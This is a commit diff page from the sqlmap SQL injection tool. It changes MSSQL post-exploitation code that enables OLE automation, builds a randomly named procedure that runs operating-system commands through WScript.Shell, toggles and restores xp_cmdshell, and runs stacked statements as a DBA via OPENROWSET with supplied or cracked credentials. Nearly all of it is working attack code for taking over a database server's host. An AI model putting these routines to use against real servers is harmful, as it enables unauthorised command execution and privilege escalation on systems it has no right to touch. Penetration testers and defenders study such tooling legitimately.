Skip to content

Commit 04d803c

Browse files
committed
more tweaking for issue sqlmapproject#34, it's totally not as trivial as it may look (OPENROWSET has many limitations on MSSQL >= 2005)
1 parent b7d2680 commit 04d803c

8 files changed

Lines changed: 52 additions & 39 deletions

File tree

lib/core/agent.py

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@
1111

1212
from lib.core.common import Backend
1313
from lib.core.common import extractRegexResult
14+
from lib.core.common import getSPQLSnippet
1415
from lib.core.common import isDBMSVersionAtLeast
1516
from lib.core.common import isTechniqueAvailable
1617
from lib.core.common import randomInt
@@ -27,6 +28,7 @@
2728
from lib.core.settings import FROM_DUMMY_TABLE
2829
from lib.core.settings import GENERIC_SQL_COMMENT
2930
from lib.core.settings import PAYLOAD_DELIMITER
31+
from lib.core.settings import SQL_STATEMENTS
3032
from lib.core.unescaper import unescaper
3133

3234
class Agent:
@@ -816,5 +818,20 @@ def replacePayload(self, inpStr, payload):
816818

817819
return re.sub("(%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), "%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER), inpStr) if inpStr else inpStr
818820

821+
def runAsDBMSUser(self, query):
822+
if conf.dCred and "Ad Hoc Distributed Queries" not in query:
823+
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
824+
for sqlStatement in sqlStatements:
825+
if query.lower().startswith(sqlStatement):
826+
sqlType = sqlTitle
827+
break
828+
829+
if sqlType and "SELECT" not in sqlType:
830+
query = "SELECT %d;%s" % (randomInt(), query)
831+
832+
query = getSPQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''"))
833+
834+
return query
835+
819836
# SQL agent
820837
agent = Agent()

lib/takeover/abstraction.py

Lines changed: 8 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -10,13 +10,13 @@
1010
from lib.core.common import Backend
1111
from lib.core.common import getSPQLSnippet
1212
from lib.core.common import isTechniqueAvailable
13+
from lib.core.common import randomInt
1314
from lib.core.common import readInput
1415
from lib.core.data import conf
1516
from lib.core.data import logger
1617
from lib.core.enums import DBMS
1718
from lib.core.enums import PAYLOAD
1819
from lib.core.exception import sqlmapUnsupportedFeatureException
19-
from lib.core.settings import SQL_STATEMENTS
2020
from lib.core.shell import autoCompletion
2121
from lib.request import inject
2222
from lib.takeover.udf import UDF
@@ -38,21 +38,6 @@ def __init__(self):
3838
Web.__init__(self)
3939
xp_cmdshell.__init__(self)
4040

41-
def runAsDBMSUser(self, query):
42-
if conf.dCred:
43-
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
44-
for sqlStatement in sqlStatements:
45-
if query.lower().startswith(sqlStatement):
46-
sqlType = sqlTitle
47-
break
48-
49-
if sqlType and "SELECT" not in sqlType:
50-
query = "SELECT 1;%s" % query
51-
52-
query = getSPQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''"))
53-
54-
return query
55-
5641
def execCmd(self, cmd, silent=False):
5742
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
5843
self.webBackdoorRunCmd(cmd)
@@ -201,6 +186,13 @@ def initEnv(self, mandatory=True, detailed=False, web=False):
201186
if mandatory and not self.isDba():
202187
warnMsg = "the functionality requested might not work because "
203188
warnMsg += "the session user is not a database administrator"
189+
190+
if not conf.dCred and Backend.getIdentifiedDbms() in ( DBMS.MSSQL, DBMS.PGSQL ):
191+
warnMsg += ". You can try to provide --dbms-cred switch "
192+
warnMsg += "to execute statements as a DBA user if you "
193+
warnMsg += "were able to extract and crack a DBA "
194+
warnMsg += "password by any mean"
195+
204196
logger.warn(warnMsg)
205197

206198
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):

lib/takeover/xp_cmdshell.py

Lines changed: 18 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
See the file 'doc/COPYING' for copying permission
66
"""
77

8+
from lib.core.agent import agent
89
from lib.core.common import Backend
910
from lib.core.common import getSPQLSnippet
1011
from lib.core.common import hashDBWrite
@@ -40,26 +41,28 @@ def __xpCmdshellCreate(self):
4041
if Backend.isVersionWithin(("2005", "2008")):
4142
logger.debug("activating sp_OACreate")
4243

43-
cmd += "EXEC master..sp_configure 'show advanced options', 1; "
44-
cmd += "RECONFIGURE WITH OVERRIDE; "
45-
cmd += "EXEC master..sp_configure 'ole automation procedures', 1; "
46-
cmd += "RECONFIGURE WITH OVERRIDE; "
47-
inject.goStacked(cmd)
44+
cmd += "EXEC master..sp_configure 'show advanced options',1;"
45+
cmd += "RECONFIGURE WITH OVERRIDE;"
46+
cmd += "EXEC master..sp_configure 'ole automation procedures',1;"
47+
cmd += "RECONFIGURE WITH OVERRIDE"
48+
inject.goStacked(agent.runAsDBMSUser(cmd))
4849

4950
self.__randStr = randomStr(lowercase=True)
51+
self.__xpCmdshellNew = randomStr(lowercase=True)
52+
self.xpCmdshellStr = "master..xp_%s" % self.__xpCmdshellNew
5053

51-
cmd += "DECLARE @%s nvarchar(999); " % self.__randStr
54+
cmd = "DECLARE @%s nvarchar(999);" % self.__randStr
5255
cmd += "set @%s='" % self.__randStr
53-
cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int "
54-
cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT "
55-
cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 "
56-
cmd += "EXEC sp_OADestroy @ID'; "
57-
cmd += "EXEC master..sp_executesql @%s;" % self.__randStr
56+
cmd += "CREATE PROCEDURE xp_%s(@cmd varchar(255)) AS DECLARE @ID int " % self.__xpCmdshellNew
57+
cmd += "EXEC sp_OACreate ''WScript.Shell'',@ID OUT "
58+
cmd += "EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 "
59+
cmd += "EXEC sp_OADestroy @ID';"
60+
cmd += "EXEC master..sp_executesql @%s" % self.__randStr
5861

5962
if Backend.isVersionWithin(("2005", "2008")):
60-
cmd += " RECONFIGURE WITH OVERRIDE;"
63+
cmd += ";RECONFIGURE WITH OVERRIDE"
6164

62-
inject.goStacked(cmd)
65+
inject.goStacked(agent.runAsDBMSUser(cmd))
6366

6467
def __xpCmdshellConfigure2005(self, mode):
6568
debugMsg = "configuring xp_cmdshell using sp_configure "
@@ -88,7 +91,7 @@ def __xpCmdshellConfigure(self, mode):
8891
else:
8992
cmd = self.__xpCmdshellConfigure2000(mode)
9093

91-
inject.goStacked(cmd)
94+
inject.goStacked(agent.runAsDBMSUser(cmd))
9295

9396
def __xpCmdshellCheck(self):
9497
cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2)
@@ -153,7 +156,7 @@ def xpCmdshellForgeCmd(self, cmd):
153156
self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd)
154157
self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr)
155158

156-
return self.runAsDBMSUser(self.__forgedCmd)
159+
return agent.runAsDBMSUser(self.__forgedCmd)
157160

158161
def xpCmdshellExecCmd(self, cmd, silent=False):
159162
cmd = self.xpCmdshellForgeCmd(cmd)

procs/mssqlserver/configure_openrowset.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,4 +3,4 @@ RECONFIGURE WITH OVERRIDE;
33
EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%;
44
RECONFIGURE WITH OVERRIDE;
55
EXEC sp_configure 'show advanced options', 0;
6-
RECONFIGURE WITH OVERRIDE;
6+
RECONFIGURE WITH OVERRIDE
Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
1-
EXEC master..sp_configure 'show advanced options', 1;
1+
EXEC master..sp_configure 'show advanced options',1;
22
RECONFIGURE WITH OVERRIDE;
3-
EXEC master..sp_configure 'xp_cmdshell', %ENABLE%;
3+
EXEC master..sp_configure 'xp_cmdshell',%ENABLE%;
44
RECONFIGURE WITH OVERRIDE;
5-
EXEC sp_configure 'show advanced options', 0;
6-
RECONFIGURE WITH OVERRIDE;
5+
EXEC sp_configure 'show advanced options',0;
6+
RECONFIGURE WITH OVERRIDE
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
EXEC master..sp_dropextendedproc 'xp_cmdshell';
1+
EXEC master..sp_dropextendedproc 'xp_cmdshell'
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll';
1+
EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll'
Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1,2 @@
1-
SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','%STATEMENT%');
1+
SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','%STATEMENT%')
2+
# SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','%STATEMENT%')

0 commit comments

Comments
 (0)